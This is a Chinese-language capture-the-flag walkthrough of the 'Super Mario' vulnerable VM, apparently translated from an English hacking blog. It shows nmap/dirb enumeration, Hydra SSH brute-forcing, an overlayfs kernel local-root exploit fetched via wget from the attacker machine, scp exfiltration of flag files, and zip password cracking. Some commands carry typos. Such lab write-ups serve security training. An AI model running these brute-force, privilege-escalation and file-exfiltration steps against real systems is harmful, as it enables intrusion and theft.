新闻快讯
< >

Hack童年游戏超级马里奥,看你能否成功夺旗

相信很多人童年时都玩过超级马里奥这款游戏,不知各位脑海中是否曾闪过黑一下这款游戏的念头?现在我们不妨一试。如需下载超级马里奥新虚拟机,请点击此处

该虚拟机是由Mr_h4sh开发的,作为对黑客的挑战,其中隐藏了两面旗。挑战级别为中级。

现在我们正式开始!

如你所知,我们总是从枚举开始,因此,在你的kali Linux中打开终端,用nmap大肆扫描吧。

nmap –p- -A 192.168.0.5

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

因为端口22和端口8180分别用于服务SSH和HTTP,因此我选择端口8081进行枚举,但从屏幕截图可以看到,我没有得到任何显著的结果。

Dirb http://192.168.0.5:8180

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

然后我使用以下命令进行目录暴力攻击

Dirb http://192.168.0.5:8180 /usr/share/wordlists/dirb/big.txt

在下面的屏幕截图中可以看到显示了一个文件名vhosts,让我们通过浏览器一探究竟。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在在浏览器中浏览vhost,http://192.168.0.5:8180/vhosts中vhosts代表虚拟主机,其是在单个服务器上托管多个域的方法。从Vhosts中我得知服务器名称是mario.supermariohost.local

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

我们将mario.supermariohost.local作为新的localhost添加到/etc

Cd etc

Vim hosts

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在在vim编辑器中键入“192.168.0.5 mario.supermariohost.local”,将其添加到/etc/host中,然后键入wq保存。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在键入Cat hosts来检查添加的主机名,从屏幕截图可以看到其已成功添加到其中。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

然后我在浏览器上访问mario.supermariohost.local,最终作为浏览器游戏获得了马里奥,但这并不起作用。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

我们知道,端口22和8081是开放的,我们从端口8081的枚举没得到太多的信息。现在我们转向端口22进行SSH枚举,因此我准备了一个字典,以检索登录SSH服务器的凭据。

字典包含用户名(马里奥的著名角色),你也可以从Google查找这些名称。

在文本编辑器中键入以下名称:Mario、luigi、peach、toad、yoshi,将文件作为user保存在桌面上。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

使用john the ripper通过以下命令生成密码字典,–rules将启用wordlist,–stdout将定义要在桌面上作为通行证生成的密码的固定长度。

John –wordlist : user –rules –stdout > pass

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

最终,我们获得了名为user的用户名字典和由john生成的作为通行证的密码字典,现在我们必须匹配用户和通行证的最佳组合,以检索登录SSH的凭据。我选择hydra进行密码破解,也可以选择任何其他密码破解工具。

Hydra –L user –P pass 192.168.0.5 ssh

从以下屏幕截图可以看到SSH服务器匹配的用户名luigi和密码luigi1的组合。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在键入以下内容进行SSH登录

Ssh luigi@192.168.0.5

Password luigi1

我们成功登录了SSH服务器。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

Uname –a

现在我们知道了linux supermariohost的版本为3.13.0,我们在Google上看一下其漏洞利用方法。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

是的,在ubuntu中有一个3.13.0 overlayfs本地root的漏洞利用方法,在你的kali Linux中点击此处下载。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

从截图可以看到,我下载了利用方法,保存为Mario.c,以进行权限提升。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在键入以下命令,以在目标系统中下载Mario.c。

wget http://192.168.0.6/mario.c

该文件被成功下载,现在键入另一个命令来编译Mario.c

gcc Mario.c -o Mario

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

./Mario

Id

Cd/root

Ls

太棒了! 我们获得了root权限,从屏幕截图可以看到,在其目录中我获得了名为flag.zip的zip文件

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在输入以下命令在你的kali Linux桌面上下载flag.zip

scp /root/flag.zip root@192.168.0.6:/root/Desktop

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

Fcrackzip flag.zip –D –P /user/share/wordlist/rockyou.txt –u

如屏幕截图中所示,密码已找到!pw ==ilovepeach,现在可以使用此密码解压缩你的文件。

解压缩flag.zip

其会要求密码,提供以上密码进行解压缩,从图片中可以看到,其包含flag.txt

Cat flag.txt

第一面旗:如果你达到这一步,意味着你获得了root权限,恭喜。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

现在遵循以下步骤完成另一个挑战。

Iptables –L

从屏幕截图可以看到,一个新的网络已被添加到远程系统上。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

arp –n

现在目标系统已经转发了一个新的IP 192.168.122.112

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

Ls –la

找到了一个目录.bak

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

Cd /.bak

Ls

Cd users

Cd luigi

Ls

里面有两个文件,我们来逐个读取。

Cat消息

Hi Luigi,

Since you’ve been messing around with my host, at this point I want to return the favour. This is a “war”, you “naughty” boy!(你一直在我的主机中瞎搞,这时候我要给你点回报,这是一场战争,你这个淘气鬼。)

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

cat id_rsa.pub

给定文本中突出显示的文字可能看起来像登录SSH服务器的用户名。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

我们通过登录到ssh -i id_rsa warluigi@192.168.1.122.112确定

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

太好了,所有假设都得到了肯定的结果

再次检查内核版本

uname –a

太好了,是相同的版本,我们可以使用我们的Mario.c利用方法获得root权限。因此如图所示重复上述步骤。

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

Wget http://192.168.0.6/maio.c

该文件成功下载,现在键入另一个命令来编译Mario.c

Gcc Mario.c –o Mario

./Mario

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

Id

Cd /root

Ls –la

此处我找到了两个重要的文件,第一个是hint.txt,第二个是flag2.zip,在解压缩flag.zip前,我们必须看看hint.txt文件。

Cat .hint.txt

Peach Loves Me”可能是解密flag2.zip文件的密码

现在我们再次使用以下命令在kali Linux的桌面上下载fla2g.zip

Scp /root/flag2.zip root@192.168.0.6:/root/Desktop

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

解压flag2.zip

要求密码时键入“Peach Loves Me

其中包含flag2.txt,键入cat flag2.txt来打开该文件。

第二面旗:恭喜你夺下第二面旗!

太棒了,我们成功夺下了两面旗

Hack童年游戏超级马里奥,看你能否成功夺旗-E安全

 本文编译:华为未然实验室

参考来源:http://www.hackingarticles.in/hack-super-mario-ctf-challenge/